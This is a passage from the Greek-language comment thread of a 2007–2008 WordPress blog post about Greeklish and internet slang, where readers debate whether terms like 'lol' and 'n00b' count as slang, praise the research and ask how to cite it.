    Αν τα lol, rotfl, l33t, teh, pwned, n00b, WTF, ping, snail mail δεν είναι slang, τι είναι;
    Μη μου πεις πως δεν τα έχεις πετύχει ποτέ!
    Το «blog» θα το εύρισκες πριν πέντε χρόνια σε λεξικά; 😉

    Σχόλιο από aerosol — Ιουνίου 23, 2007 @ 1 :52 πμ | Απάντηση

  22. Επειδή βλέπω απουσία μυθιστορηματικής έμπνευσης, θέλω να αφήσω μια παραγγελιά για όταν ευκαιρέσεις. Δες αυτό το βίνδεο και γράψε μου μυθιστόρημα , διήγημα, ιστορία ότι θες. Είναι το αγαπημένο της κυράς μου

    Σχόλιο από Sardonian — Ιουνίου 23, 2007 @ 10 :06 πμ | Απάντηση

  23. aerosol
    nai , ok , mallon ta theoroysa ki afta gkreeklish .
    ti proteineis?
    na adiaforisoyme gia ta greeklish kai na «ensomatosoume» kapoia stigmi «afta» ta slag ?

    Σχόλιο από thelastrealanwnymous — Ιουνίου 24, 2007 @ 10 :11 πμ | Απάντηση

  24. sardo
    endiaferon video .
    dwse moy liges meres.
    …..
    tha xreoso paketo : keimeno , symvolaio kai copyright… kai tha sto steillo hwris na to dimosiefso wste na eisai kai nomika katoxyromenos.
    🙂

    Σχόλιο από thelastrealanwnymous — Ιουνίου 24, 2007 @ 10 :17 πμ | Απάντηση

  25. Htan polu xrisimi i epeuna sou. ^^

    Σχόλιο από Arashi-chan — Νοέμβριος 27, 2007 @ 9 :52 μμ | Απάντηση

  26. Τα «greeklish» είναι γελοία. Θα έπρεπε κανείς να γράφει ή Ελληνικά ή Αγγλικά. Αν κάποιος πρέπει να γράψει Ελληνικά και δεν έχει άλλο τρόπο, τουλάχιστον ας χρησιμοποιήσει τους Ελληνικούς ήχους με Λατινικά γράμματα και όχι το Λατινικό «w» για «ω» επειδή μοιάζουν. Όσες φορές και αν έχω προσπαθήσει, ακόμα δεν μπορώ να διαβάσω τα «greeklish».

    Σχόλιο από Ελισάβετ Αγιαντρίτου — Απρίλιος 8, 2008 @ 5 :27 μμ | Απάντηση

  27. μου αρεσε πολυ η ερευνα σου κ μου φανηκε κ παρα πολυ χρησιμη. πιο συγκεκριμενα, γραφω μια εργασια και θα συμπεριλαβω κ μια αναφορα στα greeklish. πως μπορω να σε αναφερω στη βιβλιογραφια μου; αν το θελεις φυσικα.

    Σχόλιο από antriana — Απρίλιος 25, 2008 @ 2 :10 πμ | Απάντηση


RSS feed for comments on this post. TrackBack URI

Σχολιάστε

Εισάγετε τα παρακάτω στοιχεία ή επιλέξτε ένα εικονίδιο για να συνδεθείτε:

Λογότυπο WordPress.com

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό WordPress.com. Αποσύνδεση / Αλλαγή )

Φωτογραφία Twitter

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Twitter. Αποσύνδεση / Αλλαγή )

Φωτογραφία Facebook

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Facebook. Αποσύνδεση / Αλλαγή )

Φωτογραφία Google+

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Google+. Αποσύνδεση / Αλλαγή )

Σύνδεση με %s

Δημιουργήστε ένα δωρεάν ιστότοπο ή ιστολόγιο στο WordPress.com.

Αρέσει σε %d bloggers: